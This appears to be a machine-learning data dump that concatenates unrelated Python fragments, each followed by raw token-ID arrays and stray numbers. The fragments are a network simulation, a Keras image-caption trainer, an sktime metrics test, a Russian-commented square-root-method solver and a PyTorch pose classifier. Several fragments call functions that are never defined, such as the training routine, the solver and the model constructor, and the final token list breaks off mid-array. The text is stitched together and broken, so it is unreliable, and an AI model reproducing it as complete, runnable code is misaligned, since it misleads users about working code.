env.run(until=10) print("End.") # consumption for n in nodes: if(isinstance(n, sim.Splitter)): continue else: print(str(n), "had consumption of:", n.consumption())
[ 11748, 985, 198, 198, 2, 9403, 198, 14323, 13, 25120, 13, 28826, 7, 1485, 8, 198, 198, 2, 2858, 198, 24330, 796, 985, 13, 14323, 9078, 13, 31441, 3419, 198, 198, 2, 6260, 198, 2, 19638, 62, 86, 796, 26606, 7203, 8002, 316, 62, 1600, 923, 25698, 4686, 12351, 2315, 62, 2435, 13488, 62, 2435, 2030, 80, 13686, 62, 2435, 59, 77, 4943, 198, 198, 2, 4277, 3815, 198, 14323, 13, 25297, 62, 12286, 62, 7857, 796, 37456, 2124, 25, 23336, 198, 14323, 13, 25297, 62, 12286, 62, 17080, 796, 37456, 2124, 25, 352, 198, 14323, 13, 1340, 52, 62, 5936, 24098, 796, 37456, 2124, 25, 1315, 198, 14323, 13, 13137, 62, 5936, 24098, 796, 37456, 2124, 25, 1679, 198, 14323, 13, 13217, 62, 5936, 24098, 796, 37456, 2124, 25, 767, 198, 14323, 13, 35, 4339, 62, 4061, 10659, 62, 12286, 62, 3903, 10394, 796, 23336, 198, 198, 2, 38491, 198, 198, 2, 1353, 1435, 198, 415, 268, 292, 796, 513, 198, 261, 385, 796, 362, 198, 79, 5907, 796, 362, 198, 22018, 912, 796, 352, 198, 9806, 62, 19503, 48382, 796, 838, 198, 198, 6759, 8609, 796, 685, 198, 220, 220, 220, 685, 15, 11, 18, 11, 49388, 4357, 198, 220, 220, 220, 685, 16, 11, 18, 11, 24, 830, 4357, 198, 220, 220, 220, 685, 17, 11, 19, 11, 1485, 830, 4357, 198, 220, 220, 220, 685, 18, 11, 20, 11, 4059, 4357, 198, 220, 220, 220, 685, 19, 11, 22, 11, 1495, 830, 4357, 198, 220, 220, 220, 685, 20, 11, 22, 11, 1954, 830, 4357, 198, 220, 220, 220, 685, 22, 11, 21, 11, 33942, 60, 198, 60, 198, 198, 2, 13760, 198, 77, 4147, 796, 985, 13, 17953, 62, 4852, 1435, 7, 24330, 11, 16943, 292, 11, 319, 385, 11, 279, 5907, 11, 4328, 912, 11, 17593, 11, 3509, 62, 19503, 48382, 8, 198, 198, 2, 3173, 198, 77, 4147, 58, 20, 4083, 437, 3419, 1303, 10139, 642, 4940, 18043, 198, 198, 77, 4147, 58, 15, 4083, 437, 3419, 1303, 20509, 657, 4940, 18043, 198, 77, 4147, 58, 16, 4083, 437, 3419, 1303, 20509, 352, 4940, 18043, 198, 198, 4798, 7, 77, 4147, 58, 18, 4357, 366, 25616, 25, 1600, 13760, 58, 18, 4083, 25616, 8, 198, 77, 4147, 58, 18, 4083, 437, 3419, 1303, 319, 84, 657, 4940, 18043, 198, 4798, 7, 77, 4147, 58, 18, 4357, 366, 25616, 25, 1600, 13760, 58, 18, 4083, 25616, 8, 198, 198, 4798, 7203, 44140, 19570, 198, 198, 24330, 13, 5143, 7, 28446, 28, 940, 8, 198, 198, 4798, 7203, 12915, 19570, 198, 198, 2, 7327, 198, 1640, 299, 287, 13760, 25, 198, 197, 361, 7, 271, 39098, 7, 77, 11, 985, 13, 26568, 1967, 8, 2599, 198, 197, 197, 43043, 198, 197, 17772, 25, 198, 197, 197, 4798, 7, 2536, 7, 77, 828, 366, 18108, 7327, 286, 25, 1600, 299, 13, 5936, 24098, 28955 ]
2.439331
478
''' File to train the NIC model, based on the paper: https://www.cv-foundation.org/openaccess/content_cvpr_2015/papers/Vinyals_Show_and_Tell_2015_CVPR_paper.pdf ''' from keras.callbacks import ModelCheckpoint from keras.models import Model, load_model from keras.optimizers import Adam from keras.utils import plot_model from NIC import model from preprocessing.text import create_tokenizer from utils import batch_generator from TensorBoardCaption import TensorBoardCaption if __name__ == "__main__": dict_dir = './datasets/features_dict.pkl' train_dir = './datasets/Flickr8k_text/Flickr_8k.trainImages.txt' dev_dir = './datasets/Flickr8k_text/Flickr_8k.devImages.txt' token_dir = './datasets/Flickr8k_text/Flickr8k.token.txt' # where to put the model weigths params_dir = './model-params' dirs_dict={'dict_dir':dict_dir, 'train_dir':train_dir, 'dev_dir':dev_dir, 'token_dir':token_dir, 'params_dir':params_dir} training(dirs_dict, lr=0.001, decay=0., reg = 1e-4, batch_size = 120, epochs = 2, max_len = 24, initial_epoch = 0, previous_model = None)
[ 7061, 6, 198, 8979, 284, 4512, 262, 45593, 2746, 11, 1912, 319, 262, 3348, 25, 198, 198, 5450, 1378, 2503, 13, 33967, 12, 42526, 13, 2398, 14, 9654, 15526, 14, 11299, 62, 33967, 1050, 62, 4626, 14, 40491, 14, 53, 3541, 874, 62, 15307, 62, 392, 62, 24446, 62, 4626, 62, 33538, 4805, 62, 20189, 13, 12315, 198, 7061, 6, 198, 198, 6738, 41927, 292, 13, 13345, 10146, 1330, 9104, 9787, 4122, 198, 6738, 41927, 292, 13, 27530, 1330, 9104, 11, 3440, 62, 19849, 198, 6738, 41927, 292, 13, 40085, 11341, 1330, 7244, 198, 6738, 41927, 292, 13, 26791, 1330, 7110, 62, 19849, 198, 198, 6738, 45593, 1330, 2746, 198, 6738, 662, 36948, 13, 5239, 1330, 2251, 62, 30001, 7509, 198, 6738, 3384, 4487, 1330, 15458, 62, 8612, 1352, 198, 198, 6738, 309, 22854, 29828, 24334, 1159, 1330, 309, 22854, 29828, 24334, 1159, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 628, 220, 220, 220, 8633, 62, 15908, 796, 705, 19571, 19608, 292, 1039, 14, 40890, 62, 11600, 13, 79, 41582, 6, 198, 220, 220, 220, 4512, 62, 15908, 796, 705, 19571, 19608, 292, 1039, 14, 47250, 23, 74, 62, 5239, 14, 47250, 62, 23, 74, 13, 27432, 29398, 13, 14116, 6, 198, 220, 220, 220, 1614, 62, 15908, 796, 705, 19571, 19608, 292, 1039, 14, 47250, 23, 74, 62, 5239, 14, 47250, 62, 23, 74, 13, 7959, 29398, 13, 14116, 6, 198, 220, 220, 220, 11241, 62, 15908, 796, 705, 19571, 19608, 292, 1039, 14, 47250, 23, 74, 62, 5239, 14, 47250, 23, 74, 13, 30001, 13, 14116, 6, 198, 220, 220, 220, 1303, 810, 284, 1234, 262, 2746, 356, 328, 9998, 198, 220, 220, 220, 42287, 62, 15908, 796, 705, 19571, 19849, 12, 37266, 6, 628, 220, 220, 220, 288, 17062, 62, 11600, 34758, 6, 11600, 62, 15908, 10354, 11600, 62, 15908, 11, 705, 27432, 62, 15908, 10354, 27432, 62, 15908, 11, 705, 7959, 62, 15908, 10354, 7959, 62, 15908, 11, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 30001, 62, 15908, 10354, 30001, 62, 15908, 11, 705, 37266, 62, 15908, 10354, 37266, 62, 15908, 92, 198, 220, 220, 220, 220, 198, 220, 220, 220, 3047, 7, 15908, 82, 62, 11600, 11, 300, 81, 28, 15, 13, 8298, 11, 22119, 28, 15, 1539, 842, 796, 352, 68, 12, 19, 11, 15458, 62, 7857, 796, 7982, 11, 36835, 82, 796, 362, 11, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 11925, 796, 1987, 11, 4238, 62, 538, 5374, 796, 657, 11, 2180, 62, 19849, 796, 6045, 8, 198 ]
2.552036
442
import cPickle as pickle import matplotlib.pyplot as plt import numpy as np import networkx as nx
[ 11748, 269, 31686, 293, 355, 2298, 293, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 3127, 87, 355, 299, 87, 198 ]
3.0625
32
# -*- coding: utf-8 -*- """Tests for classes in _classes module.""" from inspect import getmembers, isclass import numpy as np import pandas as pd import pytest from sktime.performance_metrics.forecasting import _classes from sktime.utils._testing.series import _make_series metric_classes = getmembers(_classes, isclass) exclude_starts_with = ("_", "Base") metric_classes = [x for x in metric_classes if not x[0].startswith(exclude_starts_with)] names, metrics = zip(*metric_classes) @pytest.mark.parametrize("n_columns", [1, 2]) @pytest.mark.parametrize("multioutput", ["uniform_average", "raw_values"]) @pytest.mark.parametrize("metric", metrics, ids=names) def test_metric_output_direct(metric, multioutput, n_columns): """Test output is of correct type, dependent on multioutput. Also tests that four ways to call the metric yield equivalent results: 1. using the __call__ dunder 2. calling the evaluate method """ y_pred = _make_series(n_columns=n_columns, n_timepoints=20, random_state=21) y_true = _make_series(n_columns=n_columns, n_timepoints=20, random_state=42) # coerce to DataFrame since _make_series does not return consisten output type y_pred = pd.DataFrame(y_pred) y_true = pd.DataFrame(y_true) res = dict() res[1] = metric(multioutput=multioutput)( y_true=y_true, y_pred=y_pred, y_pred_benchmark=y_pred, y_train=y_true, ) res[2] = metric(multioutput=multioutput).evaluate( y_true=y_true, y_pred=y_pred, y_pred_benchmark=y_pred, y_train=y_true, ) if multioutput == "uniform_average": assert all(isinstance(x, float) for x in res.values()) elif multioutput == "raw_values": assert all(isinstance(x, np.ndarray) for x in res.values()) assert all(x.ndim == 1 for x in res.values()) assert all(len(x) == len(y_true.columns) for x in res.values()) # assert results from all options are equal assert np.allclose(res[1], res[2])
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 51, 3558, 329, 6097, 287, 4808, 37724, 8265, 526, 15931, 198, 6738, 10104, 1330, 651, 30814, 11, 318, 4871, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 12972, 9288, 198, 198, 6738, 1341, 2435, 13, 26585, 62, 4164, 10466, 13, 754, 19913, 1330, 4808, 37724, 198, 6738, 1341, 2435, 13, 26791, 13557, 33407, 13, 25076, 1330, 4808, 15883, 62, 25076, 198, 198, 4164, 1173, 62, 37724, 796, 651, 30814, 28264, 37724, 11, 318, 4871, 8, 198, 198, 1069, 9152, 62, 301, 5889, 62, 4480, 796, 5855, 62, 1600, 366, 14881, 4943, 198, 4164, 1173, 62, 37724, 796, 685, 87, 329, 2124, 287, 18663, 62, 37724, 611, 407, 2124, 58, 15, 4083, 9688, 2032, 342, 7, 1069, 9152, 62, 301, 5889, 62, 4480, 15437, 198, 198, 14933, 11, 20731, 796, 19974, 46491, 4164, 1173, 62, 37724, 8, 628, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 77, 62, 28665, 82, 1600, 685, 16, 11, 362, 12962, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 41684, 22915, 1600, 14631, 403, 6933, 62, 23913, 1600, 366, 1831, 62, 27160, 8973, 8, 198, 31, 9078, 9288, 13, 4102, 13, 17143, 316, 380, 2736, 7203, 4164, 1173, 1600, 20731, 11, 220, 2340, 28, 14933, 8, 198, 4299, 1332, 62, 4164, 1173, 62, 22915, 62, 12942, 7, 4164, 1173, 11, 5021, 22915, 11, 299, 62, 28665, 82, 2599, 198, 220, 220, 220, 37227, 14402, 5072, 318, 286, 3376, 2099, 11, 10795, 319, 5021, 22915, 13, 628, 220, 220, 220, 4418, 5254, 326, 1440, 2842, 284, 869, 262, 18663, 7800, 7548, 2482, 25, 198, 220, 220, 220, 220, 220, 220, 220, 352, 13, 1262, 262, 11593, 13345, 834, 288, 4625, 198, 220, 220, 220, 220, 220, 220, 220, 362, 13, 4585, 262, 13446, 2446, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 331, 62, 28764, 796, 4808, 15883, 62, 25076, 7, 77, 62, 28665, 82, 28, 77, 62, 28665, 82, 11, 299, 62, 2435, 13033, 28, 1238, 11, 4738, 62, 5219, 28, 2481, 8, 198, 220, 220, 220, 331, 62, 7942, 796, 4808, 15883, 62, 25076, 7, 77, 62, 28665, 82, 28, 77, 62, 28665, 82, 11, 299, 62, 2435, 13033, 28, 1238, 11, 4738, 62, 5219, 28, 3682, 8, 628, 220, 220, 220, 1303, 31255, 344, 284, 6060, 19778, 1201, 4808, 15883, 62, 25076, 857, 407, 1441, 3473, 268, 5072, 2099, 198, 220, 220, 220, 331, 62, 28764, 796, 279, 67, 13, 6601, 19778, 7, 88, 62, 28764, 8, 198, 220, 220, 220, 331, 62, 7942, 796, 279, 67, 13, 6601, 19778, 7, 88, 62, 7942, 8, 628, 220, 220, 220, 581, 796, 8633, 3419, 628, 220, 220, 220, 581, 58, 16, 60, 796, 18663, 7, 41684, 22915, 28, 41684, 22915, 5769, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 7942, 28, 88, 62, 7942, 11, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 28764, 28, 88, 62, 28764, 11, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 28764, 62, 26968, 4102, 28, 88, 62, 28764, 11, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 27432, 28, 88, 62, 7942, 11, 198, 220, 220, 220, 1267, 628, 220, 220, 220, 581, 58, 17, 60, 796, 18663, 7, 41684, 22915, 28, 41684, 22915, 737, 49786, 7, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 7942, 28, 88, 62, 7942, 11, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 28764, 28, 88, 62, 28764, 11, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 28764, 62, 26968, 4102, 28, 88, 62, 28764, 11, 198, 220, 220, 220, 220, 220, 220, 220, 331, 62, 27432, 28, 88, 62, 7942, 11, 198, 220, 220, 220, 1267, 628, 220, 220, 220, 611, 5021, 22915, 6624, 366, 403, 6933, 62, 23913, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 477, 7, 271, 39098, 7, 87, 11, 12178, 8, 329, 2124, 287, 581, 13, 27160, 28955, 198, 220, 220, 220, 1288, 361, 5021, 22915, 6624, 366, 1831, 62, 27160, 1298, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 477, 7, 271, 39098, 7, 87, 11, 45941, 13, 358, 18747, 8, 329, 2124, 287, 581, 13, 27160, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 477, 7, 87, 13, 358, 320, 6624, 352, 329, 2124, 287, 581, 13, 27160, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 477, 7, 11925, 7, 87, 8, 6624, 18896, 7, 88, 62, 7942, 13, 28665, 82, 8, 329, 2124, 287, 581, 13, 27160, 28955, 628, 220, 220, 220, 1303, 6818, 2482, 422, 477, 3689, 389, 4961, 198, 220, 220, 220, 6818, 45941, 13, 439, 19836, 7, 411, 58, 16, 4357, 581, 58, 17, 12962, 198 ]
2.514215
809
import numpy as np import numpy.linalg as la import math if __name__ == '__main__': n = 4 matrixA = np.array([[3.738, 0.195, 0.275, 0.136], [0.519, 5.002, 0.405, 0.283], [0.306, 0.381, 4.812, 0.418], [0.272, 0.142, 0.314, 3.935]]) matrixB = np.array([0.815, 0.191, 0.423, 0.352]) # n = int(input("Введите размерность системы уравнений ")) # print("Система уравнений будет иметь вид:") # for i in range(n): # for j in range(n): # print("a{0}{1}*x{2}".format(i + 1, j + 1, j + 1), end="") # if j != n - 1: # print("+", end="") # else: # print("=", end="") # print("b{0}".format(i + 1)) # matrixA = np.zeros((n, n)) # matrixB = np.zeros(n) # for i in range(n): # for j in range(n): # matrixA[i][j] = input("a{0}{1}=".format(i + 1, j + 1)) # matrixB[i] = input("b{0}=".format(i + 1)) print("Система уравнений будет иметь вид:") printSystemOfEquations(n, matrixA, matrixB) squareRootMethod(n, matrixA, matrixB)
[ 11748, 299, 32152, 355, 45941, 198, 11748, 299, 32152, 13, 75, 1292, 70, 355, 8591, 198, 11748, 10688, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 299, 796, 604, 198, 220, 220, 220, 17593, 32, 796, 45941, 13, 18747, 26933, 58, 18, 13, 22, 2548, 11, 657, 13, 22186, 11, 657, 13, 23195, 11, 657, 13, 20809, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 15, 13, 47785, 11, 642, 13, 21601, 11, 657, 13, 26598, 11, 657, 13, 30290, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 15, 13, 20548, 11, 657, 13, 36626, 11, 604, 13, 23, 1065, 11, 657, 13, 39667, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 685, 15, 13, 29807, 11, 657, 13, 23726, 11, 657, 13, 33638, 11, 513, 13, 24, 2327, 11907, 8, 198, 220, 220, 220, 17593, 33, 796, 45941, 13, 18747, 26933, 15, 13, 49503, 11, 657, 13, 26492, 11, 657, 13, 43356, 11, 657, 13, 33394, 12962, 198, 220, 220, 220, 1303, 299, 796, 493, 7, 15414, 7203, 140, 240, 38857, 16843, 43666, 18849, 20375, 16843, 220, 21169, 16142, 140, 115, 43108, 16843, 21169, 22177, 15166, 21727, 20375, 45367, 220, 21727, 18849, 21727, 20375, 16843, 43108, 45035, 220, 35072, 21169, 16142, 38857, 22177, 16843, 22177, 18849, 140, 117, 366, 4008, 198, 220, 220, 220, 1303, 3601, 7203, 140, 94, 18849, 21727, 20375, 16843, 43108, 16142, 220, 35072, 21169, 16142, 38857, 22177, 16843, 22177, 18849, 140, 117, 12466, 109, 35072, 43666, 16843, 20375, 12466, 116, 43108, 16843, 20375, 45367, 12466, 110, 18849, 43666, 25, 4943, 198, 220, 220, 220, 1303, 329, 1312, 287, 2837, 7, 77, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 329, 474, 287, 2837, 7, 77, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 64, 90, 15, 18477, 16, 92, 9, 87, 90, 17, 92, 1911, 18982, 7, 72, 1343, 352, 11, 474, 1343, 352, 11, 474, 1343, 352, 828, 886, 2625, 4943, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 611, 474, 14512, 299, 532, 352, 25, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 10, 1600, 886, 2625, 4943, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 28, 1600, 886, 2625, 4943, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 3601, 7203, 65, 90, 15, 92, 1911, 18982, 7, 72, 1343, 352, 4008, 198, 220, 220, 220, 1303, 17593, 32, 796, 45941, 13, 9107, 418, 19510, 77, 11, 299, 4008, 198, 220, 220, 220, 1303, 17593, 33, 796, 45941, 13, 9107, 418, 7, 77, 8, 198, 220, 220, 220, 1303, 329, 1312, 287, 2837, 7, 77, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 329, 474, 287, 2837, 7, 77, 2599, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 220, 220, 220, 220, 17593, 32, 58, 72, 7131, 73, 60, 796, 5128, 7203, 64, 90, 15, 18477, 16, 92, 28, 1911, 18982, 7, 72, 1343, 352, 11, 474, 1343, 352, 4008, 198, 220, 220, 220, 1303, 220, 220, 220, 220, 17593, 33, 58, 72, 60, 796, 5128, 7203, 65, 90, 15, 92, 28, 1911, 18982, 7, 72, 1343, 352, 4008, 198, 220, 220, 220, 3601, 7203, 140, 94, 18849, 21727, 20375, 16843, 43108, 16142, 220, 35072, 21169, 16142, 38857, 22177, 16843, 22177, 18849, 140, 117, 12466, 109, 35072, 43666, 16843, 20375, 12466, 116, 43108, 16843, 20375, 45367, 12466, 110, 18849, 43666, 25, 4943, 198, 220, 220, 220, 3601, 11964, 5189, 23588, 602, 7, 77, 11, 17593, 32, 11, 17593, 33, 8, 198, 220, 220, 220, 6616, 30016, 17410, 7, 77, 11, 17593, 32, 11, 17593, 33, 8, 628, 198 ]
1.62642
704
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. ''' Imports ''' import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.optim.lr_scheduler import StepLR import argparse import random import numpy as np import time from tqdm import tqdm import matplotlib.pyplot as plt import matplotlib.ticker as ticker import operator import os import sys import signal from Var import Var from DataLoader import DataLoader import sklearn.model_selection as ms import sklearn.preprocessing as pr plt.switch_backend('agg') use_cuda = torch.cuda.is_available() v = Var() num_classes = v.get_num_classes() popnn_vars = v.get_POPNN() class Model(nn.Module): ''' FC Neural Network ''' def forward(self, input): ''' Forward pass through network ''' output = input.view(-1, self.num_features * self.input_size) output = self.drop(F.relu(self.fc1(output))) output = self.drop(F.relu(self.fc2(output))) output = self.drop(F.relu(self.fc3(output))) output = self.drop(F.relu(self.fc4(output))) output = F.logsigmoid(output) return output def accuracy(output, label): ''' Check if network output is equal to the corresponding label ''' max_idx, val = max(enumerate(output[0]), key=operator.itemgetter(1)) out = torch.zeros(1, num_classes).cuda() if use_cuda else torch.zeros(1, num_classes) out[0][max_idx] = 1 if torch.eq(out.float(), label).byte().all(): return 1 else: return 0 def train(model, optim, criterion, datum, label): ''' Modify weights based off cost from one datapoint ''' optim.zero_grad() output = model(datum) output = output.view(1, num_classes) is_correct = accuracy(output, label) loss = criterion(output, label) loss.backward() optim.step() return loss.item(), is_correct def test_accuracy(model, x_test, y_test): ''' Accuracy of Model on test data ''' num_correct = 0 for test, label in zip(x_test, y_test): output = model(test.view(1, model.num_features, model.input_size)) is_correct = accuracy(output, label) num_correct += is_correct return num_correct / float(x_test.size()[0]) def create_plot(loss, train_acc, test_acc, num_epochs, plot_every, fn): ''' Creates graph of loss, training accuracy, and test accuracy ''' plt.figure() fig, ax = plt.subplots() x_ticks = range(plot_every, num_epochs + 1, plot_every) y_ticks = np.arange(0, 1.1, 0.1) plt.subplot(111) plt.plot(x_ticks, loss, label="Average Loss") plt.plot(x_ticks, train_acc, label="Training Accuracy") plt.plot(x_ticks, test_acc, label="Validation Accuracy") plt.legend(bbox_to_anchor=(0., 1.02, 1., .102), loc=3, ncol=2, mode="expand", borderaxespad=0.) plt.xticks(x_ticks) plt.yticks(y_ticks) plt.axis([0, num_epochs, 0, 1]) plt.ylabel("Average Loss") plt.xlabel("Epoch") ''' Save graph ''' plt.savefig(fn) def train_iters(model, x_train, y_train, x_test, y_test, fn, lr=popnn_vars['lr'], batch_size=popnn_vars["batch_size"], num_epochs=popnn_vars["num_epochs"], print_every=popnn_vars['print_every'], plot_every=popnn_vars['plot_every']): ''' Trains neural net for numEpochs iters ''' num = fn.split('/')[-1].split('.')[0].split('popnn')[-1] plot_fn = "graphs/popnn/lossAvg%s.png" % num def sigint_handler(sig, iteration): ''' Handles Ctrl + C. Save the data into npz files. Data inputted into thenetwork ''' torch.save(model.state_dict(), fn) create_plot(plot_loss_avgs, train_accuracies, test_accuracies, num_epochs, plot_every, plot_fn) print("Saving model and Exiting") sys.exit(0) ''' Initialize sigint handler ''' signal.signal(signal.SIGINT, sigint_handler) plot_loss_avgs = [] epochs = [] train_accuracies = [] test_accuracies = [] loss_total = 0 plot_loss_total = 0 num_correct = 0 plot_correct = 0 optimizer = optim.Adam(model.parameters(), lr=lr) if gamma != None: scheduler = StepLR(optimizer, step_size=300, gamma=gamma) criterion = nn.BCEWithLogitsLoss() y_train = torch.from_numpy(y_train).float().cuda( ) if use_cuda else torch.from_numpy(y_train).float() x_train = torch.from_numpy(x_train).float().cuda( ) if use_cuda else torch.from_numpy(x_train).float() y_test = torch.from_numpy(y_test).float().cuda( ) if use_cuda else torch.from_numpy(y_test).float() x_test = torch.from_numpy(x_test).float().cuda( ) if use_cuda else torch.from_numpy(x_test).float() for current_epoch in tqdm(range(num_epochs)): if gamma != None: scheduler.step() for i in range(batch_size): frame_num = random.randint(0, x_train.size()[0] - 1) frame = x_train[frame_num].view(1, model.num_features, model.input_size) label = y_train[frame_num].view(1, num_classes) loss, is_correct = train( model, optimizer, criterion, frame, label) num_correct += is_correct loss_total += loss plot_correct += is_correct # Make a copy of numCorrect for plot_every plot_loss_total += loss if (current_epoch + 1) % print_every == 0: avg_loss = loss_total / (print_every * batch_size) train_acc = num_correct / float(print_every * batch_size) test_acc = test_accuracy(model, x_test, y_test) tqdm.write("[Epoch %d/%d] Avg Loss: %f, Training Acc: %f, Validation Acc: %f" % (current_epoch + 1, num_epochs, avg_loss, train_acc, test_acc)) loss_total = 0 num_correct = 0 if (current_epoch + 1) % plot_every == 0: plot_test_acc = test_accuracy(model, x_test, y_test) plot_train_acc = plot_correct / float(plot_every * batch_size) train_accuracies.append(plot_train_acc) test_accuracies.append(plot_test_acc) avg_loss = plot_loss_total / (plot_every * batch_size) plot_loss_avgs.append(avg_loss) epochs.append(current_epoch + 1) plot_correct = 0 plot_loss_total = 0 create_plot(plot_loss_avgs, train_accuracies, test_accuracies, num_epochs, plot_every, plot_fn) if __name__ == "__main__": ''' Argparse Flags ''' parser = argparse.ArgumentParser(description='Fully Connected Feed Forward Net on tf-openpose data') parser.add_argument("--transfer", "-t", dest="transfer", action="store_true") parser.add_argument('--debug', dest='debug', action='store_true') parser.add_argument("--ckpt-fn", "-c", dest="ckpt_fn", type=str, default="popnn000.ckpt") parser.add_argument("--save-fn", "-s", dest="save_fn", type=str, default="popnn000.ckpt") parser.add_argument("--learning-rate", "-lr", dest="learning_rate", type=float, default=0.000035) parser.add_argument("--num-epochs", "-e", dest="num_epochs", type=int, default=1000, help='number of training iterations') parser.add_argument("--batch-size", "-b", dest="batch_size", type=int, default=256, help='number of training samples per epoch') parser.add_argument('--num-frames', '-f', dest='num_frames', type=int, default=4, help='number of consecutive frames where distances are accumulated') parser.add_argument('--lr-decay-rate', '-d', dest='gamma', type=float, default=None) parser.add_argument('--only-arm', '-o', dest='use_arm', action='store_true', help="only use arm data") parser.add_argument('--multiply-by-score', '-m', dest='m_score', action='store_true') ''' Set argparse defaults ''' parser.set_defaults(use_arm=False) parser.set_defaults(transfer=False) parser.set_defaults(debug=False) parser.set_defaults(m_score=False) ''' Set variables to argparse arguments ''' args = parser.parse_args() transfer = args.transfer debug = args.debug gamma = args.gamma use_arm = args.use_arm m_score = m_score ckpt_fn = "lstmpts/popnn/%s" % args.ckpt_fn fn = "lstmpts/popnn/%s" % args.save_fn v = Var(use_arm) input_size = v.get_size() num_features = v.get_num_features() dropout = popnn_vars['dropout'] model = Model(input_size=input_size, num_features=num_features, dropout=dropout) model = model.cuda() if use_cuda else model if transfer: model.load_state_dict(torch.load(ckpt_fn)) print("Transfer Learning") else: print("Not Transfer Learning") loader = DataLoader(args.num_frames, use_arm, m_score) inp1, out1 = loader.load_all() x_train, x_test, y_train, y_test = ms.train_test_split( inp1, out1, test_size=0.15, random_state=23) x_train = pr.normalize(x_train) y_train = pr.normalize(y_train) x_test = pr.normalize(x_test) y_test = pr.normalize(y_test) train_iters(model, x_train, y_train, x_test, y_test, fn) torch.save(model.state_dict(), fn)
[ 2, 15069, 357, 66, 8, 2864, 11, 15127, 23929, 44680, 6234, 13, 1439, 2489, 10395, 13, 198, 198, 7061, 6, 1846, 3742, 705, 7061, 198, 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 11748, 28034, 13, 20471, 13, 45124, 355, 376, 198, 11748, 28034, 13, 40085, 355, 6436, 198, 6738, 28034, 13, 40085, 13, 14050, 62, 1416, 704, 18173, 1330, 5012, 35972, 198, 198, 11748, 1822, 29572, 198, 11748, 4738, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 640, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 2603, 29487, 8019, 13, 83, 15799, 355, 4378, 263, 198, 11748, 10088, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 6737, 198, 6738, 12372, 1330, 12372, 198, 6738, 6060, 17401, 1330, 6060, 17401, 198, 11748, 1341, 35720, 13, 19849, 62, 49283, 355, 13845, 198, 11748, 1341, 35720, 13, 3866, 36948, 355, 778, 198, 198, 489, 83, 13, 31943, 62, 1891, 437, 10786, 9460, 11537, 198, 1904, 62, 66, 15339, 796, 28034, 13, 66, 15339, 13, 271, 62, 15182, 3419, 198, 198, 85, 796, 12372, 3419, 198, 22510, 62, 37724, 796, 410, 13, 1136, 62, 22510, 62, 37724, 3419, 198, 12924, 20471, 62, 85, 945, 796, 410, 13, 1136, 62, 47, 3185, 6144, 3419, 198, 198, 4871, 9104, 7, 20471, 13, 26796, 2599, 198, 197, 7061, 6, 10029, 47986, 7311, 705, 7061, 628, 197, 4299, 2651, 7, 944, 11, 5128, 2599, 198, 197, 197, 7061, 6, 19530, 1208, 832, 3127, 705, 7061, 198, 197, 197, 22915, 796, 5128, 13, 1177, 32590, 16, 11, 2116, 13, 22510, 62, 40890, 1635, 2116, 13, 15414, 62, 7857, 8, 198, 197, 197, 22915, 796, 2116, 13, 14781, 7, 37, 13, 260, 2290, 7, 944, 13, 16072, 16, 7, 22915, 22305, 198, 197, 197, 22915, 796, 2116, 13, 14781, 7, 37, 13, 260, 2290, 7, 944, 13, 16072, 17, 7, 22915, 22305, 198, 197, 197, 22915, 796, 2116, 13, 14781, 7, 37, 13, 260, 2290, 7, 944, 13, 16072, 18, 7, 22915, 22305, 198, 197, 197, 22915, 796, 2116, 13, 14781, 7, 37, 13, 260, 2290, 7, 944, 13, 16072, 19, 7, 22915, 22305, 198, 197, 197, 22915, 796, 376, 13, 6404, 82, 17225, 1868, 7, 22915, 8, 628, 197, 197, 7783, 5072, 